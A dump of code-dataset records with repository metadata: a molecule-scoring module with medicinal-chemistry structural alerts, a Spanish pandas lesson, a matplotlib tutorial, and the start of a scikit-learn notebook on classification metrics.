\"[cR2]1[cR2][cR2]([Nv3X3,Nv4X4])[cR2][cR2][cR2]1[cR2]2[cR2][cR2][cR2]\\\n            ([Nv3X3,Nv4X4])[cR2][cR2]2\",\n            \"C=[C!r]C#N\",\n            \"[cR2]1[cR2]c([N+0X3R0,nX3R0])c([N+0X3R0,nX3R0])[cR2][cR2]1\",\n            \"[cR2]1[cR2]c([N+0X3R0,nX3R0])[cR2]c([N+0X3R0,nX3R0])[cR2]1\",\n            \"[cR2]1[cR2]c([N+0X3R0,nX3R0])[cR2][cR2]c1([N+0X3R0,nX3R0])\",\n            \"[OH]c1ccc([OH,NH2,NH])cc1\",\n            \"c1ccccc1OC(=O)O\",\n            \"[SX2H0][N]\",\n            \"c12ccccc1(SC(S)=N2)\",\n            \"c12ccccc1(SC(=S)N2)\",\n            \"c1nnnn1C=O\",\n            \"s1c(S)nnc1NC=O\",\n            \"S1C=CSC1=S\",\n            \"C(=O)Onnn\",\n            \"OS(=O)(=O)C(F)(F)F\",\n            \"N#CC[OH]\",\n            \"N#CC(=O)\",\n            \"S(=O)(=O)C#N\",\n            \"N[CH2]C#N\",\n            \"C1(=O)NCC1\",\n            \"S(=O)(=O)[O-,OH]\",\n            \"NC[F,Cl,Br,I]\",\n            \"C=[C!r]O\",\n            \"[NX2+0]=[O+0]\",\n            \"[OR0,NR0][OR0,NR0]\",\n            \"C(=O)O[C,H].C(=O)O[C,H].C(=O)O[C,H]\",\n            \"[CX2R0][NX3R0]\",\n            \"c1ccccc1[C;!R]=[C;!R]c2ccccc2\",\n            \"[NX3R0,NX4R0,OR0,SX2R0][CX4][NX3R0,NX4R0,OR0,SX2R0]\",\n            \"[s,S,c,C,n,N,o,O]~[n+,N+](~[s,S,c,C,n,N,o,O])(~[s,S,c,C,n,N,o,O])~[s,S,c,C,n,N,o,O]\",\n            \"[s,S,c,C,n,N,o,O]~[nX3+,NX3+](~[s,S,c,C,n,N])~[s,S,c,C,n,N]\",\n            \"[*]=[N+]=[*]\",\n            \"[SX3](=O)[O-,OH]\",\n            \"N#N\",\n            \"F.F.F.F\",\n            \"[R0;D2][R0;D2][R0;D2][R0;D2]\",\n            \"[cR,CR]~C(=O)NC(=O)~[cR,CR]\",\n            \"C=!@CC=[O,S]\",\n            \"[#6,#8,#16][C,c](=O)O[C,c]\",\n            \"c[C;R0](=[O,S])[C,c]\",\n            \"c[SX2][C;!R]\",\n            \"C=C=C\",\n            \"c1nc([F,Cl,Br,I,S])ncc1\",\n            \"c1ncnc([F,Cl,Br,I,S])c1\",\n            \"c1nc(c2c(n1)nc(n2)[F,Cl,Br,I])\",\n            \"[C,c]S(=O)(=O)c1ccc(cc1)F\",\n            \"[15N,13C,18O,2H,34S]\"]\n        # These custom alerts are used to filter out very common kinase binding motifs\n        self.custom_alerts = [\n            '[NH2,NH1][a]1n[a][a][a][a]1',\n            'NC(=N)',\n            'Nc1ncnc2ccccc21',\n            'Nc1ncnc(N)c1',\n            'c1ccnc2[nH]ccc21']\n\n    def __call__(self, smiles: List[str]) -> dict:\n        mols = [Chem.MolFromSmiles(smile) for smile in smiles]\n        valid = [1 if mol is not None else 0 for mol in mols]\n        valid_idxs = [idx for idx, boolean in enumerate(valid) if boolean == 1]\n        valid_mols = [mols[idx] for idx in valid_idxs]\n\n        fps = activity_model_pharmacophoric.fingerprints_from_mols(valid_mols)\n        # ecfp_fps = activity_model_pharmacophoric.ecfp_from_mols(valid_mols)\n        activity_score = self.clf.predict_proba(fps)[:, 1]\n        # ecfp_activity_score = self.ecfp_clf.predict_proba(ecfp_fps)[:, 1]\n        subst = self.substructure(valid_mols, ['[NH2,NH1][a]1[a][a][a][a]1C(=O)[Nh]'])\n        qed_alerts = self.substructure(valid_mols, self.qed_alerts)\n        custom_alerts = self.substructure(valid_mols, self.custom_alerts)\n        num_atoms = np.array([max(0, min(2.66 - mol.GetNumHeavyAtoms() / 15, 1)) for mol in valid_mols])\n\n        goodness = 0.5 * (1 + subst) * (1 - custom_alerts) * (1 - qed_alerts) * num_atoms\n        # goodness = 0.5 * (1 + subst) * (1 - custom_alerts) * num_atoms\n\n        activity_score = activity_score * goodness\n        score = np.full(len(smiles), 0, dtype=np.float32)\n\n        for idx, value in zip(valid_idxs, activity_score):\n            score[idx] = value\n        return {\"total_score\": np.array(score, dtype=np.float32)}\n\n    @classmethod\n    def fingerprints_from_mols(cls, mols):\n        fps = [Generate.Gen2DFingerprint(mol, factory) for mol in mols]\n        size = 4096\n        X = np.zeros((len(mols), size))\n        for i, fp in enumerate(fps):\n            for k, v in fp.GetNonzeroElements().items():\n                idx = k % size\n                X[i, idx] = v\n        return X\n\n    def substructure(self, mols, list_of_SMARTS):\n        match = [any([mol.HasSubstructMatch(Chem.MolFromSmarts(subst)) for subst in list_of_SMARTS\n                      if Chem.MolFromSmarts(subst)]) for mol in mols]\n        return np.array(match)\n\n    @classmethod\n    def ecfp_from_mols(cls, mols):\n        fps = [AllChem.GetMorganFingerprint(mol, 3, useCounts=True, useFeatures=True) for mol in mols]\n        size = 2048\n        nfp = np.zeros((len(fps), size), np.int32)\n        for i, fp in enumerate(fps):\n            for idx, v in fp.GetNonzeroElements().items():\n                nidx = idx % size\n                nfp[i, nidx] += int(v)\n        return nfp\n", "meta": {"hexsha": "971c4c74fad09024e63575f6e90ef224a9de6373", "size": 7707, "ext": "py", "lang": "Python", "max_stars_repo_path": "scoring/activity_pharmacophoric.py", "max_stars_repo_name": "MauriceKarrenbrock/reinvent-memory", "max_stars_repo_head_hexsha": "57860dabb6534daf14fe2ab81d57589a90760442", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "scoring/activity_pharmacophoric.py", "max_issues_repo_name": "MauriceKarrenbrock/reinvent-memory", "max_issues_repo_head_hexsha": "57860dabb6534daf14fe2ab81d57589a90760442", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scoring/activity_pharmacophoric.py", "max_forks_repo_name": "MauriceKarrenbrock/reinvent-memory", "max_forks_repo_head_hexsha": "57860dabb6534daf14fe2ab81d57589a90760442", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.9242424242, "max_line_length": 104, "alphanum_fraction": 0.4601012067, "include": true, "reason": "import numpy", "num_tokens": 2974, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213368305399, "lm_q2_score": 0.1520322435432087, "lm_q1q2_score": 0.078983994406914}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nEsto es un comentario\n@author: fbponz\nThis is a script used during the first leason.\n\"\"\"\n#%% Bloque variables.\n\"\"\"\nvariable\n\"\"\"\na = 3\nb = 2\n\n\"\"\"\nOperaciones con variables\n\"\"\"\nc = a + b\n\"\"\"\nEn caso de concatenar estas invocaciones, solo muestra el ultimo.\n\"\"\"\na\nb\nc\n#%% Bloque de variables string.\n\"\"\"\nEn caso de concatenar estos print, muestra todos los valores\n\"\"\"\nprint (a)\nprint (b)\nprint (c)\n\n\"Utilizaci\u00f3n de strings\"\na = \"Hello\"\nb = 'World!'\nc = \" \"\nd = a + c + b  # Comentario de una linea.\nprint (d)\n\n#%% Bloque limpieza\ndel (a,b,c,d) #Si alguna de las variables ya est\u00e1 borrada nos devolvera un error.\n#%reset -f #es una CLI de spyder que sirve para resetear por completo el entorno.\n\n#%% Importaci\u00f3n de librerias\n#Cargar las librerias basicas para est\u00e1 asignatura\n\"\"\"\nImportamos una libreria con un nickname\nImport $liberia as $nickname.\n\"\"\"\nimport os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#Listas\nname = ['Yaling','Sofia','Maria','Pablo', 'In\u00e9s'] #En python lista, en pandas series.\nage = [28,23,25,23, 25] \ngender=['Female','Female','Female','Male','Female']\n\n#Los casos por filas\n#Las caracteristicas por columnas\n\n\"\"\"\n#Pandas Dataframe\n#pd.DataFrame es una funci\u00f3n\n#donde le pasamos un diccionario { }\n#Debemos evitar gastar nombres no descriptivos o incluir guiones/espacios en \n                                                                   los nombres.\n#Si hacemos doble click en la variable clase 2020 podemos observar los datos \n                                                                como una tabla.\n\"\"\"\nclase2020 = pd.DataFrame({'name' : name, 'age' : age, 'gender' : gender})\n\"\"\"\n#ahora que ya tenemos la informaci\u00f3n metida en un Dataframe debemos limpiar \n                                                  variables de nuestro entorno.\n\"\"\"\ndel(age,gender,name)\n\n#Podemos acceder a las variables de un Dataframe de la manera siguiente.\nage = clase2020.age\n\"\"\"\nEl siguiente estudiante nos devuelve la dimensionalidad del objeto (numero \n                    total de elementos, y de caracteristicas de cada elemento).\n\n\"\"\"\nclase2020.shape\n\"\"\"\nEl siguiente comando nos devuelve las primeras 5, si le pasamos sin parametro\nmientras que si le especificamos  un numero en los brackets, nos devuelve X \nelementos del principio.\n\"\"\"\nclase2020.head()\n\"\"\"\nEl siguiente comando nos devuelve los ultimos 5, si le pasamos sin parametro\nmientras que si le especificamos  un numero en los brackets, nos devuelve X \nelementos del final.\n\"\"\"\nclase2020.tail()\n#Alberto's Tips: escribe un comentario para est\u00e1r seguro\n#QC OK (Control de calidad OK).\n\n#obtener el directorio de trabajo.\ncwd = os.getcwd()\nos.chdir(cwd)\nos.getcwd()\n\n#guardar el Dataframe a excel / csv(Formato estandar).\n#clase2020.to_excel(\"clases2020.xlsx\")\nclase2020.to_csv(\"clase2020.csv\") #Durante esta asignatura vamos a gastar CSV's\n\n", "meta": {"hexsha": "f00f00953584a92e5fa1f721f799229f177d943f", "size": 2882, "ext": "py", "lang": "Python", "max_stars_repo_path": "sesiones/sesion1.py", "max_stars_repo_name": "fbponz/EstadisticaEnPython", "max_stars_repo_head_hexsha": "9a2a6db07bfa68c70e59b16223474fa7e5b670fd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-07T19:41:45.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-07T19:41:45.000Z", "max_issues_repo_path": "sesiones/sesion1.py", "max_issues_repo_name": "fbponz/EstadisticaEnPython", "max_issues_repo_head_hexsha": "9a2a6db07bfa68c70e59b16223474fa7e5b670fd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sesiones/sesion1.py", "max_forks_repo_name": "fbponz/EstadisticaEnPython", "max_forks_repo_head_hexsha": "9a2a6db07bfa68c70e59b16223474fa7e5b670fd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.2, "max_line_length": 85, "alphanum_fraction": 0.6800832755, "include": true, "reason": "import numpy", "num_tokens": 750, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3629691917376783, "lm_q2_score": 0.21733751090819797, "lm_q1q2_score": 0.07888682066862746}}
{"text": "#!/usr/bin/env python3\n\n#This tutorial was made using Python 3.8.5 (type python3 -V in terminal to check).\n\n#All code is commented with quotation marks.\n#To run, delete the quotation marks between comment lines unless noted.\n\n#Before we begin, we need to install the matplotlib library using pip.\n#To install, type:\n#\tpip3 install matplotlib\n#The matplotlib library will also install numpy if that is not on your computer\n#\tas well.\n#Type this into your command line to check if the pip module is available:\n#\tpython3 -m pip --version\n#Pip is typically a feature for Python versions 3.4.2 and above.\n#However, some Linux systems (like Debian and Ubuntu) use different commands \n#\tto install the module. \n#If there is no pip module recognized, you should use the command lines given in\n#\tthe terminal using sudo (which allows you to use the command as an admin). \n#For Debian/Ubuntu/Minty, I used these command lines:\n#\tsudo apt install python3-pip (to prompt the pip install)\n#\tsudo apt-get update (to update Python)\n#\tsudo apt install python3-pip (to install the pip module)\n#\tpip3 install matplotlib (to install the matplotlib module)\n#To check if the modules are installed, type python3 into your terminal.\n#\tType import matplotlib. If another command line pops up, type exit() to\n#\tresume.\n#You can also consult these documentations for future reference:\n#\tpip: pip.pypa.io/en/stable/installing\n#\tmatplotlib: matplotlib.org/stable/tutorials/index.html\n\n#Now that the matplotlib library is on your computer, we can now import the library.\n\nimport matplotlib.pyplot as plt \n\n#You can refer to pyplot as plt with \"as\", saving some characters and your fingers.\n#You can also use this syntax to import pyplot:\n#\tfrom matplotlib import pyplot as plt\n\n#Now let's make a graph using the plot() function. \n\"\"\"\nplt.plot([1, 2, 3, 4], [0, 1, 2, 3])\nplt.show()\n\"\"\"\n#Congrats! You just made a graph! \n#The syntax for plt.plot is as follows: plt.plot([x-axis], [y-axis])\n#plt.show() lets the graph display for you to see the output. \n#NOTE: Always put plt.show() as the last line for your plot.\n\n##################### Using the matplotlib Interface ##########################\n\n#On the bottom left, there are buttons to maneuver around the graph.\n#You can learn what each button does by hovering over them but a quick summary.\n#Home: takes you to the default view (the same view as how it first appeared).\n#L/R Arrows: Undo (left) and redo (right) maneuvers in your graph.\n#Quad Arrows / Arrow Cross: Manipulate the graph axes.\n#Magnifying glass: Zoom in on a specific area of the graph.\n#Sliders: Shift around the boundaries of the graph within the window.\n#Save: Save the graph wherever you'd like.\n#\tYou can also use plt.savefig('filepath or name') within your code.\n#\tIf you put a filename, the plot will be saved in the same \n#\t\tdirectory as your code.\n#\tOtherwise, you can specify with a filepath w/ name included.\n\n###############################################################################\n\n#You can also plot lists and tuples that are previously defined.\n\nx_axis = (2, 16, 17, 24, 37)\ny_axis = [1, 3, 4, 7, 23]\n\"\"\"\nplt.plot(x_axis, y_axis)\nplt.show()\n\"\"\"\n#NOTE: There will be no plot if the lists/tuples are not the same length.\n\n#Now to add labels to the graph, we can use the following commands:\n\"\"\"\nplt.plot(x_axis, y_axis) #plt.plot() generates the plot\nplt.title('Just Some Random Numbers') #The main title of the graph\nplt.xlabel('The X-axis label') #The x-axis label\nplt.ylabel('The Y-axis label') #The y-axis label\nplt.show() #Make sure to put plt.show() last\n\"\"\"\n#You can also plot multiple plots on the same graph and use the same axes.\n\nsecondy_axis = [4, 8, 34, 41, 45]\nsecondx_axis = [9, 10, 32, 33, 52]\n\"\"\"\nplt.plot(x_axis, y_axis) \nplt.plot(secondx_axis, secondy_axis) #Two new lists added to graph\nplt.plot(secondx_axis, y_axis) #Using axes previously defined\nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.show() \n\"\"\"\n\n#You can also add a legend with plt.legend(['list with labels'])\n\"\"\"\nplt.plot(x_axis, y_axis) \nplt.plot(secondx_axis, secondy_axis) \nplt.plot(secondx_axis, y_axis) \nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.legend(['Original Plot', 'Two New Axes', 'Old + New']) #list of strings \nplt.show() \n\"\"\"\n#You can also label your plots by adding a label argument to plot()\n\"\"\"\nplt.plot(x_axis, y_axis, label = 'Original Plot') #see the label here\nplt.plot(secondx_axis, secondy_axis, label = 'Two New Axes') \nplt.plot(secondx_axis, y_axis, label = 'Old + New') \nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.legend() #keep the parens empty\nplt.show() \n\"\"\"\n#If you wanted to style your lines, you can add arguments for that as well\n#Most are self-explanatory. \n#There are many options available that you can use using this website\n#\tmatplotlib.org/stable/api/_as_gen/matplotlib.pyplot.plot.html\n#Just a quick example:\n\"\"\"\nplt.plot(x_axis, y_axis, color = 'k', linestyle = '--', \n\tlinewidth = 3, label = 'Original Plot') #black/dashed/thicker\nplt.plot(secondx_axis, secondy_axis, color = '#ff0000', \n\tmarker = '.', label = 'Two New Axes') #red (using hexadecmial) points\nplt.plot(secondx_axis, y_axis, color = 'b', linestyle = '-.', \n\tmarker = '*', label = 'Old + New') #run it to find out\nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.legend() \nplt.show() \n\"\"\"\n#You can also use a format string to condense the code\n#Syntax is '[linemarker][linestyle][color]'\n\"\"\"\nplt.plot(x_axis, y_axis, 'k--', linewidth = 3, label = 'Original Plot') #same as previous\nplt.plot(secondx_axis, secondy_axis, '.r', label = 'Two New Axes') #no line here\nplt.plot(secondx_axis, y_axis, '*-.b', label = 'Old + New') #same as previous\nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.legend() \nplt.show() \n\"\"\"\n#Some other formatting for your graphs.\n\"\"\"\nplt.plot(x_axis, y_axis, color = 'k', linestyle = '--', \n\tlinewidth = 3, label = 'Original Plot') \nplt.plot(secondx_axis, secondy_axis, color = '#ff0000', \n\tmarker = '.', label = 'Two New Axes')\nplt.plot(secondx_axis, y_axis, color = 'b', linestyle = '-.', \n\tmarker = '*', label = 'Old + New') \nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.legend() \nplt.grid(True) #shows gridlines\nplt.tight_layout() #less empty space for the graph\nplt.show() \n\"\"\"\n#There are also some default styles available.\n\"\"\"\nprint(plt.style.available) #prints styles in terminal\n\nplt.style.use('ggplot') #the style you want to use\nplt.plot(x_axis, y_axis, color = 'k', label = 'Original Plot') \nplt.plot(secondx_axis, secondy_axis, color = '#ff0000', label = 'Two New Axes')\nplt.plot(secondx_axis, y_axis, color = 'b', label = 'Old + New') \nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.legend() \nplt.tight_layout() \nplt.show() \n\"\"\"\n#More customization for graphs\n\"\"\"\nplt.style.use('ggplot') #the style you want to use\nplt.xticks(ticks=x_axis, labels = x_axis) #customize ticks on x-axis\nplt.plot(x_axis, y_axis, color = 'k', label = 'Original Plot') \nplt.fill_between(x_axis, y_axis, alpha = 0.25) #fill underneath the line\n#alpha dictates opacity of fill, can use for other arguments\n#You can also fill about a specific value by denoting a third argument\n#Also can use where = (condition), interpolate = True to further customize.\n#You can also have multiple fill_between() arguments\nplt.axvline(25, label = 'Just Because') #vertical line where dictated\nplt.xscale('log') #logarithmic x scale\nplt.yscale('log') #log y scale\nplt.title('Just Some Random Numbers') \nplt.xlabel('The X-axis label') \nplt.ylabel('The Y-axis label') \nplt.legend() \nplt.tight_layout() \nplt.show() \n\"\"\"\n#There are other types of plots that you can use.\n\"\"\"\nplt.bar(x_axis, y_axis, width = 1) #prints a bar graph\n#width allows you to edit the width of the bars\nplt.show() #delete this line and run to line 185 to overlap graphs\n\nimport numpy as np #need numpy to not have overlap\nx_array = np.arange(len(secondx_axis)) #new x values for non-overlapping bars\n#CAN ONLY USE THIS WITH LISTS!\nwidth = 0.125 #define a width for the bars to separate by \n#even bars: bar width/2, odd: bar width\nplt.bar(x_array - width, y_axis, width = 0.25) #plots to the left of value\nplt.bar(x_array + width, secondy_axis, width = 0.25) #right\nplt.show()\n\nplt.barh(x_axis, y_axis) #horizontal bar graph\n#no width function here\nplt.show() \n\n#pie chart (ONE DATA ARGUMENT ONLY)\nlabels = ['2', '16', '17', '24', '37']\ncolors = ['red', 'purple', 'yellow', '#022851', 'white'] #can use hexadecimal too\nexplode = [0, 0, 0.1, 0, 0] #for popping our pieces of the pie (relative to radius)\nplt.pie(x_axis, labels = labels, colors = colors, \n\twedgeprops={'edgecolor': 'black'}, explode = explode,\n\tshadow = True, startangle = 180, #shadow for drop shadow, start angle of chart\n\tautopct = '%1.1f%%') #displaying percentages in pie piece\nplt.show()\n\n#histogram\nbins = [10, 20, 30, 40]\nplt.hist(x_axis, bins = 3, edgecolor = 'black') #bins: get data and divide by bin #\nplt.hist(x_axis, bins = bins, edgecolor = 'black') #divide by defined bins\n#Can plot with a log = True argument for a logarithmic scale.\nplt.show()\n\n#scatter plot\nplt.scatter(x_axis, y_axis, s = 50, c = 'red', marker = 'X',\n\tedgecolor = 'black', linewidth = 1, alpha = 0.5) \n#s = size, c = color\n#marker gives custom dots\n#edgecolor for the edge of dots, linewidth for the edge thickness\n#alpha makes the dots transparent\nplt.scatter(x_axis, y_axis, s = 50, c = secondx_axis, cmap = 'Greens',\n\tmarker = 'X', edgecolor = 'black', linewidth = 1, \n\talpha = 0.5) \n#c can be denoted by a list, cmap for more customization of color range\nplt.scatter(x_axis, y_axis, s = secondy_axis, c = secondx_axis, cmap = 'Greens',\n\tmarker = 'X', edgecolor = 'black', linewidth = 1, \n\talpha = 0.5) \n#s can also be denoted by a list\ncbar = plt.colorbar()\ncbar.set_label('Colors') #allows for showing what the dot color means\nplt.show()\n\"\"\"\n#You can import .csv files to plot data (important for analyzing real-world data)\n\"\"\"\nimport csv #imports ability to open csv files\n\nwith open('2002kings.csv') as csv_file: \n\tcsv_open = csv.DictReader(csv_file) #this creates a dictionary for the csv\n\n\t#for line in csv_open:\n\t\t#print(line) #prints lines in the dictionary\n#NOTE: Run the previous loop and the next lop separately.\n\tg_count = 0 #counts PGs or SGs in dataset\n\tf_count = 0 #counts SFs or PFs in dataset\n\tc_count = 0 #counts Cs in dataset\n\tfor line in csv_open:\n\t\tplayer = line #because csv_open is not a dictionary, this allows us to use each line as a dictionary\n\t\tif 'G' in player['Position']: g_count += 1\n\t\tif 'F' in player['Position']: f_count += 1\n\t\tif 'C' in player['Position']: c_count += 1\n\n\tpos_counts = [g_count, f_count, c_count]\n\tprint(pos_counts)\n\npos_xaxis = ['Guards', 'Forwards', 'Centers']\nplt.bar(pos_xaxis, pos_counts)\nplt.title('2002 Sacramento Kings by Position') \nplt.xlabel('Positions') \nplt.ylabel('# of Players') \nplt.show()\n\n#There is so much more you can do with matplotlib now that you can use .csv files\n#This is the end to my matplotlib tutorial.\n#There is more to learn and there is a ton of documentation on it.\n\"\"\"\n", "meta": {"hexsha": "099fe8b542c6a4eb221eaf3170c13839eec779a1", "size": 11406, "ext": "py", "lang": "Python", "max_stars_repo_path": "_finalproject.py", "max_stars_repo_name": "kdabuhanna/learning_python", "max_stars_repo_head_hexsha": "ad897620371e16e00cf1db08f71a07aebc8decdf", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_finalproject.py", "max_issues_repo_name": "kdabuhanna/learning_python", "max_issues_repo_head_hexsha": "ad897620371e16e00cf1db08f71a07aebc8decdf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_finalproject.py", "max_forks_repo_name": "kdabuhanna/learning_python", "max_forks_repo_head_hexsha": "ad897620371e16e00cf1db08f71a07aebc8decdf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.3310344828, "max_line_length": 102, "alphanum_fraction": 0.7095388392, "include": true, "reason": "import numpy", "num_tokens": 3127, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378234991142019, "lm_q2_score": 0.18010666408646395, "lm_q1q2_score": 0.07885492988412181}}
{"text": "# %% [markdown]\n# # Evaluation of your predictive model\n\n# %% [markdown]\n# ## Introduction\n# Machine-learning models rely on optimizing an objective function, by seeking\n# its minimum or maximum. It is important to understand that this objective\n# function is usually decoupled from the evaluation metric that we want to\n# optimize in practice. The objective function serves as a proxy to the\n# evaluation metric.\n# FIXME: add information about a loss function depending of the notebooks\n# presented before the notebook about metrics.\n#\n# While other notebooks will give insights regarding algorithms and their\n# associated objective functions, in this notebook we will focus on the\n# metrics used to evaluate the performance of a predictive model.\n#\n# Selecting an evaluation metric will mainly depend on the model chosen to\n# solve our datascience problem.\n\n# %% [markdown]\n# ## Classification\n# We can recall that in a classification setting, the target `y` is categorical\n# rather than continuous. We will use the blood transfusion dataset that will\n# be fetched from OpenML.\n\n# %%\nimport pandas as pd\nfrom sklearn.datasets import fetch_openml\n\nX, y = fetch_openml(\n    name=\"blood-transfusion-service-center\",\n    as_frame=True, return_X_y=True,\n)\n# Make columns and classes more human-readable\nX.columns = [\"Recency\", \"Frequency\", \"Monetary\", \"Time\"]\ny = y.apply(\n    lambda x: \"donated\" if x == \"2\" else \"not donated\"\n).astype(\"category\")\ny.cat.categories\n\n# %% [markdown]\n# We can see that the target `y` contains 2 categories corresponding to whether\n# or not a subject gave blood or not. We will use a logistic regression\n# classifier to predict this outcome.\n#\n# First, we split the data into a training and a testing set.\n\n# %%\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(\n    X, y, shuffle=True, random_state=0, test_size=0.5\n)\n\n# %% [markdown]\n# Once our data are split, we can learn a logistic regression classifier solely\n# on the training data, keeping the testing data for the evaluation of the\n# model.\n\n# %%\nfrom sklearn.linear_model import LogisticRegression\n\nclassifier = LogisticRegression()\nclassifier.fit(X_train, y_train)\n\n# %% [markdown]\n# Now, that our classifier is trained, we can provide some information about a\n# subject and the classifier can predict whether or not the subject will donate\n# blood.\n#\n# Let's create a synthetic sample corresponding to the following potential new\n# donor: he/she donated blood 6 month ago and gave twice blood in the past for\n# a total of 1000 c.c. He/she gave blood for the first time 20 months ago.\n\n# %%\nnew_donor = [[6, 2, 1000, 20]]\nclassifier.predict(new_donor)\n\n# %% [markdown]\n# With these information, our classifier predicted that this synthetic subject\n# is more likely to not donate blood. However, we have no possibility to ensure\n# if the prediction is correct or not. That's why, we can now use the testing\n# set for this purpose. First, we can predict whether or not a subject will\n# give blood with the help of the trained classifier.\n\n# %%\ny_pred = classifier.predict(X_test)\ny_pred[:5]\n\n# %% [markdown]\n# ### Accuracy as a baseline\n# Now that we have these predictions, we could compare them with the true\n# predictions (sometimes called ground-truth) which we did not use up to now.\n\n# %%\ny_test == y_pred\n\n# %% [markdown]\n# In the comparison above, a `True` value means that the value predicted by our\n# classifier is identical to the real `prediction` while a `False` means that\n# our classifier made a mistake. One way to get an overall statistic telling us\n# how good the performance of our classifier are is to compute the number of\n# time our classifier was right and divide it by the number of samples in our\n# set (i.e. taking the mean of correct predictions)\n\n# %%\nimport numpy as np\n\nnp.mean(y_test == y_pred)\n\n# %% [markdown]\n# This measure is also known as the accuracy. Here, our classifier is 78%\n# accurate at classifying if subject will give blood. `scikit-learn` provides a\n# function to compute this metric in the module `sklearn.metrics`.\n\n# %%\nfrom sklearn.metrics import accuracy_score\n\naccuracy_score(y_test, y_pred)\n\n# %% [markdown]\n# Scikit-learn also have a build-in method named `score` which compute by\n# default the accuracy score.\n\n# %%\nclassifier.score(X_test, y_test)\n\n# %% [markdown]\n# ### Confusion matrix and derived metrics\n# The comparison that we did above and the accuracy that we deducted did not\n# take into account which type of error our classifier was doing. The accuracy\n# is an aggregate of the error. However, we might be interested in a lower\n# granularity level to know separately the error for the two following case:\n# - we predicted that a person will give blood but she/he is not;\n# - we predicted that a person will not give blood but she/he is.\n\n# %%\nfrom sklearn.metrics import plot_confusion_matrix\n\nplot_confusion_matrix(classifier, X_test, y_test)\n\n# %% [markdown]\n# The in-diagonal numbers are related to predictions that agree\n# with the true labels while off-diagonal numbers are related to\n# misclassification. Besides, we now know the type of true or erroneous\n# predictions the classifier did:\n#\n# * the top left corner is called true positive (TP) and correspond to a person\n#   who gave blood and was predicted as such by the classifier;\n# * the bottom right corner is called the true negative (TN) and correspond to\n#   a person who did not gave blood and was predicted as such by the\n#   classifier;\n# * the top right corner is called false negative (FN) and correspond to a\n#   person who gave blood but was predicted as not giving blood;\n# * the bottom left corner is called false positive (FP) and correspond to a\n#   person who did not give blood but was predicted as giving blood.\n#\n# Once we have split these information, we can compute statistics for\n# highlighting the performance of our classifier in a particular setting. For\n# instance, one could be interested in the fraction of persons who really gave\n# blood when the classifier predicted so or the fraction of people predicted as\n# giving blood among the total population that actually did so.\n#\n# The former statistic is known as the precision defined as TP / (TP + FP)\n# while the latter statistic is known as the recall defined as TP / (TP + FN)\n# We could, similarly than with the accuracy, manually compute these values.\n# But scikit-learn provides functions to compute these statistics.\n\n# %%\nfrom sklearn.metrics import precision_score, recall_score\n\nprint(\n    f\"Precision score: {precision_score(y_test, y_pred, pos_label='donated')}\"\n    f\"\\nRecall score: {recall_score(y_test, y_pred, pos_label='donated')}\"\n)\n\n# %% [markdown]\n# These results are in line with what we could see in the confusion matrix.\n# In the left column, more than half of the predictions were corrected leading\n# to a precision above 0.5. However, our classifier mislabeled a lot of persons\n# who gave blood as \"not donated\" leading to a very low recall of around 0.1.\n#\n# The precision and recall can be combined in a single score called the F1\n# score (which is the harmonic mean of precision and recall)\n\n# %%\nfrom sklearn.metrics import f1_score\n\nf1_score(y_test, y_pred, pos_label='donated')\n\n# %% [markdown]\n# ### The issue of class imbalance\n# At this stage, we could ask ourself a reasonable question. While the accuracy\n# did not look bad (i.e. 77%), the F1 score is relatively low (i.e. 21%).\n#\n# As we mentioned, precision and recall only focus on the positive label while\n# the accuracy is taking both aspects into account. In addition,\n# we omit to look at the ratio class\n# occurrence. We could check this ratio in the training set.\n\n# %%\nfrom collections import Counter\n\nclass_counts = pd.Series(Counter(y_train))\nclass_counts /= class_counts.sum()\nclass_counts\n\n# %% [markdown]\n# So we can observed that the positive class `'donated'` is only 24% of the\n# total number of instances. The good accuracy of our classifier is then linked\n# to its capability of predicting correctly the negative class `'not donated'`\n# which could be relevant or not depending of the application. We can\n# illustrate the issue using a dummy classifier 